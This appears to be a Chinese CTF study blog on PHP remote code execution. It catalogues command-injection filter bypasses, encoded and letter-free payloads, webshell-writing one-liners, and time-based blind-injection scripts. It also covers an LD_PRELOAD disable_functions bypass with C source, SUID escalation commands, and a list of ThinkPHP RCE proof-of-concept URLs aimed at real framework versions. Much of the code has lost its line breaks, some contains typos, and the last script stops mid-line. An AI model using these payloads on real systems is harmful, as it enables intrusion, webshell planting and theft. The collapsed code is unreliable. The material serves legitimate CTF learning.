RCE学习

从最近的xyctf中,最大的感受就是自己的rce基础并不牢固,所以马上来恶补一下

漏洞成因

php和其他语言有很多能够执行系统命令或执行其他php代码的函数,因为开发者的使用不当,使得用户能够控制传递给执行命令的函数的参数,那么就用可能被用来执行恶意命令,接下来的学习以ctf中最常用的php来学习

利用方法

命令注入

执行系统命令的函数和方法

执行的结果都是以字符串返回,执行失败返回空,区别是能不能直接回显

函数描述
system($cmd)可以直接回显
shell_exec($cmd)不直接回显,配合echo等才能看到结果
passthru($cmd)可直接回显
exec($cmd)不能直接回显,配合echo等才能看到结果
`$cmd`(shell_exec的变种)系统命令用反引号包裹,也能执行,不能直接回显

linux也通过echo ,输入输出重定向,来写入一句话木马

代码注入

利用一些php函数来执行系统命令

1.eval

rce中最常用的函数,将php代码以字符串形式传入,显示执行结果,代码结束要加;

2.preg_replace()

preg_replace(‘正则规则’,‘要替换的字符’,‘目标字符’)

正则规则中使用\e修饰符,php会被后面要替换的字符当作php代码执行, 如:

在这里插入图片描述

php7的匹配正则模式不能由get传入,但php5可以

在这里插入图片描述

3.create_function()

在这里插入图片描述

如图,create_function()可以创建动态函数,$args是参数,$code具体动态函数的要执行的代码,用eval执行,所以完全可以拿来写一句话

<?PHP $func=create_function('',$_POST['cmd']);$func();?>

4.call_user_func

!在这里插入图片描述

在这里插入图片描述

5.call_user_func_array

用法同call_user_func,只是后面传的参数要是数组

6.array_map

array_map( c a l l b a c k , callback, callback,array),对传入的array数组的每个元素,应用传入的$callback回调函数

在这里插入图片描述

7.array_filter

array_filter( a r r a y , array, array,callback),对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素,用法与array_map相近,只是参数顺序相反

8.popen

#利用方式
$handle=popen('ls','r');echo fread($handle,2096); 

9.proc_open

用popen的升级版,用起来比popen稍微复杂,将命令作为单独的进程执行,并控制其输入、输出和错误管道

#原始
// 要执行的命令
$test = "whoami";
// 用于设置进程管道的数组
$array = array(array("pipe", "r"), // 标准输入管道array("pipe", "w"), // 标准输出管道array("pipe", "w")  // 标准错误输出管道
);
// 执行命令并创建进程
$fp = proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$test="whoami";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);

命令注入绕过

题目的重点都是如何绕过过滤

过滤命令关键字

其他命令平替

1.使用其他查看文件的命令绕过,比如过滤cat

常见平替:

tac,less,more,nl,head,tail

还有其他命令可以读取文件:

命令描述
vim ,vi /flag编辑器 后跟文件,也能显示出内容
od -c 或 -a /flag读取二进制数据,加-a或-c,就会输出常见字符
sort,unqiue /flag排序去重命令都会显示文件内容
file -f ,date -f , dig -f /flag利用报错读出文件内容
sh /flag 2>%261也是利用报错,但是要把错误输出重定向到标准输出流,如果get传输要url编码&
strings /flagstrings 读取二进制文件中的可打印字符
rev /flag逆序输出
paste /flagpaste用于合并文件内容,只有一个文件也可以
diff /flag /etc/passwddiff用于比较文本内容,会显示各个文本的内容,需要一个已知文件

单用base64 /flag,也可以得到flag

date 是查看时间的命令,但是date -f 可以利用它的报错信息读取文件,

在这里插入图片描述

dig -f 也可以

!在这里插入图片描述

但是在php的system中,date-f读不出来,但是 dig -f可以

过滤ls

dir在ubuntu也可以扫描目录,但在其他环境可能报 command not found

无效转义

在命令的字符中添加' " \ $@,不影响命令的执行,单双引号要加两个

在这里插入图片描述
·

编码

1.十六进制编码

用xxd工具,xxd有两个选项,-r可以把十六进制数据转为二进制,-p则是以 postscript plain hexdump 风格(易于阅读和打印)输出数据,配合管道符传递给shell,就可以执行命令

在这里插入图片描述

在这里插入图片描述

echo 636174202f666c6167 | xxd -r -p|bash

或者用shell的内联执行

$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67') 

在这里插入图片描述

2.八进制编码

$(printf '\143\141\164\040\057\146\154\141\147')
$(echo '\143\141\164\040\057\146\154\141\147')

3.base64编码,32也行,配合管道符

echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "MNQXIIBPMZWGCZY="|base32 -d|bash 
echo 'ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw'|base64 -d|bash #写入一句话

变量引用

把要执行的命令都每个单词从,拆开几个部分用一个变量定义,使用时拼接在一起

a=l;b=s;c=/;$a$b $c ->ls /
a=ca;b=t;c=/fl;d=ag;$a$b $c$d ->cat /flag

在这里插入图片描述

很明显这个方法;不能被过滤

过滤关键文件名

使用通配符

具体例子使用可上网搜索

  • *,匹配一个或多个字符 ,如:cat /f*

  • ?,匹配一个字符,如:cat /fla?

  • […] ,匹配指定范围内的字符,如:cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h],[@-z]匹配所有字母,有时a被过滤可用

过滤空格

${IFS}

${IFS}绕过,${IFS}在linux的环境变量中代表空格 如cat${IFS}/flag

重定向

如cat</flag

!在这里插入图片描述

%09

%09就是制表符,url解码后传给php就和空格差不多,如:cat%09/flag

过滤/

逻辑符号拼接命令

有一些题目是代码本身会执行一些正常的命令(如ping),这时我们可以利用逻辑符号在后面拼接我们注入的命令

linux命令中,逻辑符号的作用如下:

cmd1 & cmd2:两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行

cmd1 && cmd2:按顺序先后执行命令,输出结果,前面的失败后面也无法执行

cmd1 | cmd2:| 是管道符,用于把前面命令的结果作为变量输入到后面的命令,如果后面命令用不到,且正常执行不报错

那就正常执行后面的命令,如:

在这里插入图片描述

前面的执行失败不影响后面执行

cmd1 || cmd2:前面的命令执行失败才会执行后面的命令,否则后面的命令不执行

cmd1;cmd2:顺序执行命令

过滤了/,就可以用命令连接符号,多次cd跳转到根目录执行操作

cd ..;cd ..;cd ..;lscd ..%26%26cd ..%26%26cd ..%26%26ls

截取环境变量

没有过滤 $ {}时可以使用

$HOME 环境变量 就是/用户名,截取第一个就是/

在这里插入图片描述

$0可以表示bash

代码注入相关绕过

过滤system

如果是代码注入且过滤了system,可以尝试:

其他函数

使用其他可以执行命令的函数如:passthru,shell_exec,但是没有回显,配合echo,print,var_dump使用

或者使用php内置的扫描目录和读取文件的函数。如:

扫描目录:scandir
读取文件:file_get_contents , readfile , file ,highlight_file , show_source,
读取文件最后两个函数不用var_dump,其余都要

拼接执行

如:

(s.y.s.t.e.m)("whoami");
(s.y.s.t.e.m)('whoami');

php7才可以

编码

可以把php的函数名用八进制或十六进制编码,php7可以,动态执行函数

"\x73\x79\x73\x74\x65\x6d"("\x6c\x73"); -> system('ls')
"\163\171\163\164\145\155"("\154\163"); -> system('ls')

进制字符串要用双引号包裹,双引号中如果有变量,会解析变量,而单引号中不管是否有变量,都当作字符串

或者hex2bin

hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #system('cat /flag')

过滤引号

可以用参数逃逸,这个方法也能用在过滤很多关键字的情况,如

?a=system($_GET[b]);&b=cat /flag
?a=$_GET[b]($_GET[c]);&b=system&c=cat /flag

在这里插入图片描述

使用反引号,如

?a=echo `ls`;

无数字字母

如果题目过滤了常规的数字和字母,就要使用其他一些运算方法,在执行php代码前先进行一定运算,

把一些不可见字符的二进制数据,通过一些数学运算,算出字母和数字,再执行

异或

使用大佬的两个配套脚本,如:

<?php// 打开一个文件用于写入,如果文件不存在则创建该文件$myfile=fopen("xor_rce.txt","w");// 初始化一个空字符串,用于存储生成的结果$contents="";// 循环遍历 0 到 255 的所有可能的字节值for($i=0;$i<256;$i++){for($j=0;$j<256;$j++){// 如果字节值小于 16,则将其转换为两位十六进制数,以便于 URL 编码if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}// 定义用于匹配不允许的字符的正则表达式$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';    // 根据题目给的正则表达式修改即可// 使用 URL 解码将十六进制转换为ascii码,然后检查是否存在不允许的字符if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){echo ""; // 如果存在不允许的字符,则不做任何操作}else{// $a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));// 如果异或结果是可见字符,则将其的url编码,添加到结果字符串中if(ord($c)>=32&ord($c)<=126){$contents=$contents.$c." ".$a." ".$b."\n";}}}}// 将结果字符串写入到文件中fwrite($myfile,$contents);// 关闭文件句柄fclose($myfile);
?>

两个ascii字符,分别0-255,进行异或运算,如果结果是可见字符且不符合设定的正则,添加这两个字符的url编码到文件字符中,

这样一来,就可以把可见字符,用两个不可见字符的异或来表示,如

在这里插入图片描述

当然,大佬还写了利用这个文件,生成payload的脚本

import requests
import urllib
from sys import *
import osdef action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:# print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";"print('\n',param)

运行结果:

在这里插入图片描述

所以payload即为

?a=("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%0c%0c%00%00"^"%60%7f%20%2f");

在这里插入图片描述

取反

利用取反运算,这个可以不用大佬脚本,自己随便弄一下都行,如:

<?php
$php_code='system';
$cmd='ls /';
$arr=array($php_code,$cmd);
$res="(~".urlencode(~$php_code).")(~".urlencode(~$cmd).");";
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()->payload:
?a=(~%8F%97%8F%96%91%99%90)();
//system('ls /');->payload:
?a=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

如果是post传参,用hackbar传过去url解码有问题,用bp就可以
在这里插入图片描述

自增

在 PHP 中,对一个字母型变量执行自增运算时,会将该字母转换为其 ASCII 码值,执行自增运算后再将结果转换回字母。具体来说,字母型变量的自增运算实际上是对其 ASCII 码值加一,然后将结果转换回字母。如:

在这里插入图片描述

我们可以通过不断的自增来获得想要的字符,eval可以执行php代码,把自增的代码传进去,得到想要的字符后,最后构造出能rce的样子

但是这是无数字字母,php代码中也不能含有字母,所以我们的自增起点要稍微变一下,如:

在这里插入图片描述

将空数组和字符串拼接时,php会把空数组转为字符串Array再去拼接,取出下标为0的字符,就是A,这里不能直接用0,而是用一个表达式''=='$',值为假,就会返回0,从而取到了字母A

然后开始自增,获得其他字母,得到$_GET$_POST,大佬脚本如下:

$_GET

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($_);
#$res="$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);"
?>

代码中 经 过两次自增和拼接,变为 ‘ _经过两次自增和拼接,变为` 过两次自增和拼接,变为_GET,所以最后可以利用的代码变为 G E T [ ] ( _GET[_]( GET[](GET[__]);,,__`传入payload即可

要把原始代码去掉换行,再url编码一下,最终payload

%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=ls /

在这里插入图片描述

无字母

其实就是利用八进制编码,这样构造的payload没有字母,由于我本地php测试总是失败,用一道题目来测试

源码:

<?php
highlight_file(__FILE__);
function waf($cmd){$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; $cmd_char = str_split($cmd);foreach($cmd_char as $char){if (!in_array($char, $white_list)){die("really ez?");}}return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

这题只允许白名单,白名单里只有数字,和一些特殊的字符,$,\,',很明显就是要八进制编码

$'\154\163' #ls

但是这样执行的命令无法加参数,要读取flag需要用到<,类似cat /flag

$'\143\141\164'<$'\057\146\154\141\147' 

在这里插入图片描述

这方面的详细知识可以看这篇大佬的文章:https://xz.aliyun.com/t/12242

无回显

如果用exec,这类没有回显的函数,可以考虑写一句话或者 ,把命令结果重定向或写入文件中

有写入权限

写入一句话木马,用到重定向符号:>

?a=echo%20%27<?%3Deval($_POST[cmd])?>%27%20>shell.php

在这里插入图片描述

tee 命令结果写入文件

要用到管道符:|

cat /flag | tee a

然后再去访问a即可,

无写入权限

可以尝试bash时间盲注 需要到:|

awk截取第一行内容:cat /flag | awk ==1

cut 截取第一列内容cat /flag | awk NR==1 | cut -c 1

在这里插入图片描述

不过一般题目中flag文件一般都只有一行,awk 可以省略,当然如果flag.php就不能省略了

获取文件的文本长度,行数

awk 'NR==1 { print length($0); exit }' /flag  #获取第一行的文本长度
awk 'END {print NR}' /flag        #获取行数

在这里插入图片描述

结合 if ,sleep,实现时间延时

?a=if [ `cat /flag | awk NR==1 | cut -c 1` = 'F' ];then sleep 2;fi

在这里插入图片描述

做了足够的铺垫后,就应该写脚本了,主要语句:

if [ `28= ls /| awk 'END{print NR}'` ];then sleep 2;fi #猜文件数量
if [ `ls / | awk 'NR==1 {print}'` = 1 ]; then sleep 2; fi  #猜每个文件的文件名长度
if [ `ls / | awk NR==1 | cut -c 1` = "b" ]; then sleep 2;fi   #猜根目录下的文件目录名
if [ `cat /flag_is_he3re|cut -c 1`=F ]; then sleep 2;fi   #猜字符

完整脚本

mport requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '[{}.@-_=]'
url='http://192.168.184.200/rce/play.php?a='def condition(url):start=time.time()res=requests.get(url,timeout=3)end=time.time()if int(end-start)>=2:return Truereturn False
def check_flag(filename):#发现可能的flag文件checks=['f','l','a','g']for che in checks:if che not in filename:return Falsereturn True
def try_flag(catalog='/'):#获取有多少个文件file_nums=0for i in range(1,50):get_nums_cmd="if [ `ls {} | awk 'END{{print NR}}')` = {} ]; then sleep 2; fi".format(catalog,i)print(get_nums_cmd)if condition(url+up.quote(get_nums_cmd)):file_nums=iprint(f'有{file_nums}个文件')breakfilenames_list=[]run=''tar=''#获取文件名长度,然后猜文件名for i in range(1,file_nums+1):len=0name=''for k in range(1,50):get_filelen_cmd='if [ `ls {} | awk \'NR=={} {{print length}}\'` = {} ]; then sleep 2; fi'.format(catalog,i,k)if condition(url+up.quote(get_filelen_cmd)):len=kprint(f'第{i}个文件名字长度为{len}')breakfor j in range(1,len+1):for k in str_list:get_filename_cmd='if [ `ls {} | awk NR=={} | cut -c {}` = "{}" ]; then sleep 2;fi'.format(catalog,i,j,k)if condition(url+up.quote(get_filename_cmd)):name+=kprint(name)breakfilenames_list.append(name)if check_flag(name):run=input(f'疑似发现了flag文件,{name}是否继续?c->继续,其他放弃')if run =='c':continueelse:tar=namebreakprint(f"确认发现了flag文件:{tar},开始查找")flag_len=0flag=''#发现了flag之后,就猜flagfor i in range(1,70):get_flaglen_cmd='if [ `cat {}{}| awk \'{{print length}}\'` = {} ]; then sleep 2;fi'.format(catalog,tar,i)if condition(url+up.quote(get_flaglen_cmd)):flag_len=iprint(f"{tar}文件字符数为{i}")for i in range(1,flag_len+1):for k in str_list:get_flag_cmd='if [ `cat {}{}|cut -c {}` = {} ]; then sleep 2;fi'.format(catalog,tar,i,k)if condition(url+up.quote(get_flag_cmd)):flag+=kprint(flag)
try_flag()

在这里插入图片描述

还可以cp复制或者mv移动,把flag搞到网站目录,再访问得flag

disable_function限制

这种情况是有了webshell后,但是无法正常执行命令

当php.ini把很多能执行命令的函数都设置进了disable_function,此时如果直接执行,是执行不了的,如

在这里插入图片描述

在这里插入图片描述

一种思路就是找漏网之鱼,看能不能利用没被ban的函数,另一种就是利用LD_PRELOAD环境变量加载恶意so文件,这里主要学习后者

这个主要也是利用大佬的脚本,https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,原理的讲解也在里面,很详细,这里主要记录自己的对这个方法的一些浅薄理解

当运行可执行文件时,操作系统的动态链接器会负责加载并链接需要的共享对象文件(.so文件),找到要用到的系统底层函数,解析符号引用,加载到内存中,使得程序能够正常执行。

而linux系统环境变量$LD_PRELOAD可以设置优先加载的so文件,如果能设置为我们控制的so文件,其中包含了我们自己实现的恶意同名底层函数,linux要执行该函数时,会去so文件寻找,而我们的so文件由于$LD_PRELOAD被优先加载,其中就有被重写过的同名函数,于是跳过了正常的系统函数,执行我们的恶意函数,这个被利用的函数通常是getuid():不需要传入变量,返回值简单

就算有了恶意so文件,但是怎么触发getuid()呢,常规的执行系统命令的函数被ban,需要寻找别的方法启动新的进程调用,大佬找到是mail()函数,mail()会调用 /usr/sbin/sendmail,它会调用getuid()

但是sendmail是一个邮件传输代理工具,不是自带的,目标环境不一定安装或者有可能被禁用,所以大佬说劫持getuid并不是最好的选择,但是这个劫持的思路是我值得学习的

大佬想到了另一种方式,不拘泥于具体的底层方法,想办法让恶意so在被加载时就能rce,代码如下:

#define _GNU_SOURCE#include <stdlib.h>
#include <stdio.h>
#include <string.h>extern char** environ;__attribute__ ((__constructor__)) void preload (void)
{// get command line options and argconst char* cmdline = getenv("EVIL_CMDLINE");// unset environment variable LD_PRELOAD.// unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick.int i;for (i = 0; environ[i]; ++i) {if (strstr(environ[i], "LD_PRELOAD")) {environ[i][0] = '\0';}}// executive commandsystem(cmdline);
}

__attribute__((constructor)) 是 C 和 C++ 语言中的一个编译器扩展,用于指定一个函数作为程序启动时的构造函数,即在程序运行之前(在main()之前)自动执行该函数。若它出现在共享对象中时,那么一旦共享对象被系统加载,该函数就会被执行

函数会从环境变量中读取命令,然后执行,php恰好有个方法putenv()可以加入自定义的环境变量

大佬的php利用脚本

<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_GET["cmd"];$out_path = $_GET["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_GET["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);
?>

代码中,通过putenv加入EVIL_CMDLINE环境变量为我们rce代码,用于so文件执行,设置LD_PRELOAD变量为我们上传的so文件路径,我们要在目标php文件中包含这个php,并传入cmd—>命令,outpath—>命令结果保存文件路径 ,sopath—>so文件路径,php执行mail函数时,sendmail子程序就会优先链接我们的恶意so,从而执行命令

在我的实验环境中,蚁剑连接?a=$func=create_function('',$_POST['cmd']);$func();,连接后,果然不能执行命令,

在这里插入图片描述

尝试把php,so文件上传到靶机的有上传权限的目录,这里我选择/tmp,

在这里插入图片描述

上传成功,在目标php中,传如下payload:

?a=include('/tmp/db_bypass.php');&cmd=cat /flag &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so

在这里插入图片描述

实验成功

其他知识点

suid提权

参考大佬文章学习:https://tttang.com/archive/1793/

SUID 是 Unix/Linux 系统中的一种特殊权限设置,全称为 Set User ID。当一个可执行文件拥有 SUID 权限时,当普通用户执行该文件时,该文件的有效用户 ID 会被临时设置为文件所有者的用户 ID,而不是执行者的用户 ID。

简单来说,SUID 权限允许普通用户以文件所有者的权限来执行该文件,即使普通用户本身没有对应的权限

suid权限就是执行权限的特殊设置,例如

chmod u+s filename  #增加suid权限
chmod u-s filename  #去除suid权限

这里把flag文件设为 700,现在无法直接查看

在这里插入图片描述

这时要利用有suid root 权限的二进制文件,执行这些文件,可以以文件所有者即root的权限运行,利用这些查看flag

find / -user root -perm -4000 -print 2>/dev/nullfind / 从根目录开始查找
-user root 属于root用户
-perm -4000  设置了suid权限
-print  打印匹配到文件路径
2>/dev/null   把错误输出重定向到/dev/null  /dev/null不会显示任何输入的信息,加上就相当于不打印报错信息 
不加的话会有很多 permission denied 的报错,影响观察

正常来说,常用的命令一般都没有suid权限,题目如果考察这个知识点,也会给某个命令加上,我这里给cp ,find加上了,

在这里插入图片描述

通过cp读取flag

cp /flag /dev/stdout
/dev/stdout 标准输出,把文件复制到这里就相当于在终端输出该文件的内容

通过find执行系统命令

/usr/bin/find /flag -exec cat /flag \;

在这里插入图片描述

所以稍微总结一下,如果有suid权限,可以执行shell或读取flag的二进制文件,前提是拿到了一个shell

nmap(2.0-5.21)

nmap --interactive之后执行:
nmap> !sh
sh-3.2# whoami
root//这是真正意义上的提权,进入到了root用户的shell

time

time cat /flag # time 后跟命令可执行

vim

vim ,vi,命令模式也可以执行系统命令

在这里插入图片描述

less more

less,more读取较大文件时,会进去翻页模式,可以用!shell执行shell命令

在这里插入图片描述

more执行命令不会退出翻页,less会

awk

awk可以用来执行系统命令

awk 'BEGIN { system("ls -l") }'

dmesg

dmesg -H 以易读格式输出内核环形缓冲区,也是可以!+shell执行命令

在这里插入图片描述

env

env用于输出环境变量,后面也是可以跟命令来执行,如env ls

flock

是Linux 的文件锁命令,也能用来执行系统命令:flock -u / whoami

ionice nice

前者设置程序的IO调度与优先级,后者修改程序的优先级,都用可以用来执行命令,

ionice whoami nice whoami

strace

strace -o /dev/null ls

其他命令,如date,paste,等用来平替cat的命令有suid权限,利用它们读取flag

thinkphp rce利用

主要是要知道对应的thinkphp版本,然后使用对应的poc

网上找的一些poc

thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmdthinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxxthinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
# filter[]是要执行的php函数, server[REQUEST_METHOD]是给该函数的参数
thhinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

要知道版本,可以通过输入?s=1,产生报错,通过报错信息得到版本信息

题目实战

[NewStar2023]So Baby RCE

源码:

<?php
error_reporting(0);
if(isset($_GET["cmd"])){if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){echo "Don't Hack Me";}else{system($_GET["cmd"]);}
}else{show_source(__FILE__);
}

过滤了很多命令,主要是过滤了目录分割符/,没有过滤cd,..,那就用cd 和&&跳转到根目录,然后ls,用${IFS}绕过空格,payload如下:

cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}ls

在这里插入图片描述

过滤了fl,可以用f???来绕过,也可以添加$@来绕过关键字,这里我用paste查看文件吧,payload:

cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}paste${IFS}f????????????????

在这里插入图片描述

查阅网上资料时还发现可以curl 下载 一句话木马,不过需要公网的vps

极客大挑战 RCE me

题目源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

很明显是无数字字母rce,可以异或或取反,这是使用异或

?code=("%0c%08%0c%09%0e%06%0f"^"%7c%60%7c%60%60%60%60")(); #phpinfo()

在这里插入图片描述

本来想直接用system查看,但是失败,感觉可能是被禁了,再来看phpinfo

在这里插入图片描述

发现禁用了很多系统函数,assert没被禁,那就assert(eval($_POST[a]));,不能直接eval(eval($_POST[a]))

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

在这里插入图片描述

连接成功,由于disable_function的限制,命令用不了,传so文件和对应的php上去,跟实验步骤一样即可

code继续assert(eval($_POST[a]))

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);;&cmd=ls / &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so
post:
a=include('/tmp/db_bypass.php')
# code: assert(include('/tmp/db_bypass.php'))

在这里插入图片描述

发现有readflag程序,直接运行

在这里插入图片描述

NewStar2023 R!!!C!!!E!!!

源码

<?php
highlight_file(__FILE__);
class minipop{public $code;public $qwejaskdjnlka;public function __toString(){if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){exec($this->code);}return "alright";}public function __destruct(){echo $this->qwejaskdjnlka;}
}
if(isset($_POST['payload'])){//wanna try?unserialize($_POST['payload']);
} 

是exec无回显,那就要考虑写入或者盲注了

尝试了一下,tee写入,发现是可以的,单引号绕过关键字过滤即可,exp:

<?php
class minipop{public $code="ls /|te''e /var/www/html/a";public $qwejaskdjnlka;public function __toString(){}public function __destruct(){}
}
$a=new minipop();
$a->qwejaskdjnlka=$a;
echo serialize($a);
# O:7:"minipop":2:{s:4:"code";s:26:"ls /|te''e /var/www/html/a";s:13:"qwejaskdjnlka";r:1;}

在这里插入图片描述

发现了flag,直接查看

在这里插入图片描述

后面看了官方wp,发现预期解是bash盲注,于是我尝试写脚本 ,过滤了{},原来的脚本用不了,把命令改为用sed 实现,三剑客看来真的要再去复习一下

脚本:

import requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '{[.@-_=]}'
url='http://b70d0e66-be37-4788-80fd-49d791990778.node5.buuoj.cn:81/'def condition(url,data):time.sleep(0.5)start=time.time()res=requests.post(url,timeout=3,data=data)end=time.time()if int(end-start)>=2:return Truereturn Falsedef try_flag(catalog='/'):#查找含有flag的flag文件名长度flag_len=14base_payload = 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'data={'payload':''}flag_name=''flag=''#获取长度,题目过滤了.*,只好匹配flag整体for i in range(1,30):get_len_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c 1-|wc -m` = {} ];then sleep 2;fi'.format(catalog,i)get_len_payload=base_payload.format((len(get_len_cmd)),get_len_cmd)data['payload']=get_len_payloadif condition(url,data):flag_len=iprint(f"长度为{i}")for i in range(1,flag_len):for k in str_list:get_flagname_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,i,k)get_flagname_payload=base_payload.format((len(get_flagname_cmd)),get_flagname_cmd)data['payload']=get_flagname_payloadif condition(url,data):flag_name+=kprint(flag_name)print(f"发现了flag: {flag_name}")#获取内容for i in range(1,70):for k in str_list:get_flag_cmd='if [ `cat {}{} | cut -c {}` = 